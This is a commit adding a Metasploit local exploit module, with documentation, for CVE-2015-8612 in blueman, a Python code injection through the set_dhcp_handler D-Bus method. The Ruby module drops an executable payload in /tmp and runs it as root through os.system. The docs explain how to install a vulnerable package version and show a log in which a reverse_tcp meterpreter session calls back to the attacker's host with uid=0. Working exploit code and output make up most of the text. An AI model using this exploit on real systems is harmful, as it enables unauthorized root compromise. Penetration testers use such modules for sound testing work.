Add blueman set_dhcp_handler D-Bus Privilege Escalation
Brendan Coles
parent
a457973702
commit
98dc59728e
|
|
@ -0,0 +1,83 @@
|
|||
## Description
|
||||
|
||||
This module attempts to gain root privileges by exploiting a Python
|
||||
code injection vulnerability in blueman versions prior to 2.0.3.
|
||||
|
||||
The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the
|
||||
`set_dhcp_handler` function which uses user input in a call to `eval`,
|
||||
without sanitization, resulting in arbitrary code execution as root.
|
||||
|
||||
This module has been tested successfully with blueman version 1.23
|
||||
on Debian 8 Jessie (x64).
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully with:
|
||||
|
||||
* blueman version 1.23 on Debian 8 Jessie (x64)
|
||||
|
||||
Old versions of the `blueman` package are available in [Debian snapshots](https://snapshot.debian.org/).
|
||||
|
||||
The following `/etc/apt/sources.list` configuration will allow a vulnerable
|
||||
version of the `blueman` package to be installed:
|
||||
|
||||
```
|
||||
deb [check-valid-until=no] http://snapshot.debian.org/archive/debian/20140827T042507Z/ jessie main
|
||||
deb-src [check-valid-until=no] http://snapshot.debian.org/archive/debian/20140827T042507Z/ jessie main
|
||||
```
|
||||
|
||||
The package can be installed with `apt-get install blueman`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Get a session
|
||||
3. `use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc`
|
||||
4. `set SESSION [SESSION]`
|
||||
5. `check`
|
||||
6. `run`
|
||||
7. You should get a new *root* session
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**SESSION**
|
||||
|
||||
Which session to use, which can be viewed with `sessions`
|
||||
|
||||
**WritableDir**
|
||||
|
||||
A writable directory file system path. (default: `/tmp`)
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/local/blueman_set_dhcp_handler_dbus_priv_esc
|
||||
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set session 1
|
||||
session => 1
|
||||
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set payload linux/x64/meterpreter/reverse_tcpayload => linux/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > set lhost 172.16.191.188
|
||||
lhost => 172.16.191.188
|
||||
msf5 exploit(linux/local/blueman_set_dhcp_handler_dbus_priv_esc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.191.188:4444
|
||||
[*] Writing '/tmp/.DKJWL0TG7sm0M5' (249 bytes) ...
|
||||
[*] Executing payload...
|
||||
[*] Sending stage (861348 bytes) to 172.16.191.156
|
||||
[*] Meterpreter session 2 opened (172.16.191.188:4444 -> 172.16.191.156:58863) at 2018-12-24 02:44:25 -0500
|
||||
[+] Deleted /tmp/.DKJWL0TG7sm0M5
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: uid=0, gid=0, euid=0, egid=0
|
||||
meterpreter > sysinfo
|
||||
Computer : debian-8-1-x64.local
|
||||
OS : Debian 8.1 (Linux 3.16.0-4-amd64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
|
|
@ -0,0 +1,151 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'blueman set_dhcp_handler D-Bus Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to gain root privileges by exploiting a Python
|
||||
code injection vulnerability in blueman versions prior to 2.0.3.
|
||||
|
||||
The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the
|
||||
`set_dhcp_handler` function which uses user input in a call to `eval`,
|
||||
without sanitization, resulting in arbitrary code execution as root.
|
||||
|
||||
This module has been tested successfully with blueman version 1.23
|
||||
on Debian 8 Jessie (x64).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'the grugq', # Discovery and exploit
|
||||
'bcoles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => '2015-12-18',
|
||||
'References' =>
|
||||
[
|
||||
['BID', '79688'],
|
||||
['CVE', '2015-8612'],
|
||||
['URL', 'https://twitter.com/thegrugq/status/677809527882813440'],
|
||||
['URL', 'https://github.com/blueman-project/blueman/issues/416'],
|
||||
['URL', 'https://www.openwall.com/lists/oss-security/2015/12/18/6'],
|
||||
['URL', 'https://www.debian.org/security/2015/dsa-3427'],
|
||||
['URL', 'https://bugs.mageia.org/show_bug.cgi?id=17361'],
|
||||
['URL', 'http://www.slackware.com/security/viewer.php?l=slackware-security&y=2015&m=slackware-security.421085']
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'Arch' =>
|
||||
[
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Targets' => [['Auto', {}]],
|
||||
'DefaultTarget' => 0))
|
||||
register_advanced_options [
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
chmod path
|
||||
end
|
||||
|
||||
def dbus_send(dest:, type:, path:, interface:, contents:)
|
||||
cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"
|
||||
end
|
||||
|
||||
def check
|
||||
unless command_exists? 'dbus-send'
|
||||
vprint_error 'dbus-send is not installed. Exploitation will fail.'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'dbus-send is installed'
|
||||
|
||||
res = dbus_send(
|
||||
dest: 'org.blueman.Mechanism',
|
||||
type: 'method_call',
|
||||
path: '/',
|
||||
interface: 'org.freedesktop.DBus.Introspectable.Introspect',
|
||||
contents: ''
|
||||
)
|
||||
|
||||
unless res.include? 'EnableNetwork'
|
||||
vprint_error 'org.blueman.Mechanism.EnableNetwork D-Bus interface is not available'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available'
|
||||
|
||||
CheckCode::Detected
|
||||
end
|
||||
|
||||
def execute_python(code)
|
||||
dbus_send(
|
||||
dest: 'org.blueman.Mechanism',
|
||||
type: 'method_call',
|
||||
path: '/',
|
||||
interface: 'org.blueman.Mechanism.EnableNetwork',
|
||||
contents: "'string:[]' 'string:[]' 'string:#{code}'"
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Detected
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||
end
|
||||
end
|
||||
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
payload_name = ".#{rand_text_alphanumeric 10..15}"
|
||||
payload_path = "#{base_dir}/#{payload_name}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
print_status 'Executing payload...'
|
||||
res = execute_python "os.system(\"#{payload_path}&\")"
|
||||
vprint_line res
|
||||
|
||||
if res.include? 'SyntaxError: invalid syntax'
|
||||
fail_with Failure::Unknown, 'Payload execution failed due to syntax error'
|
||||
end
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue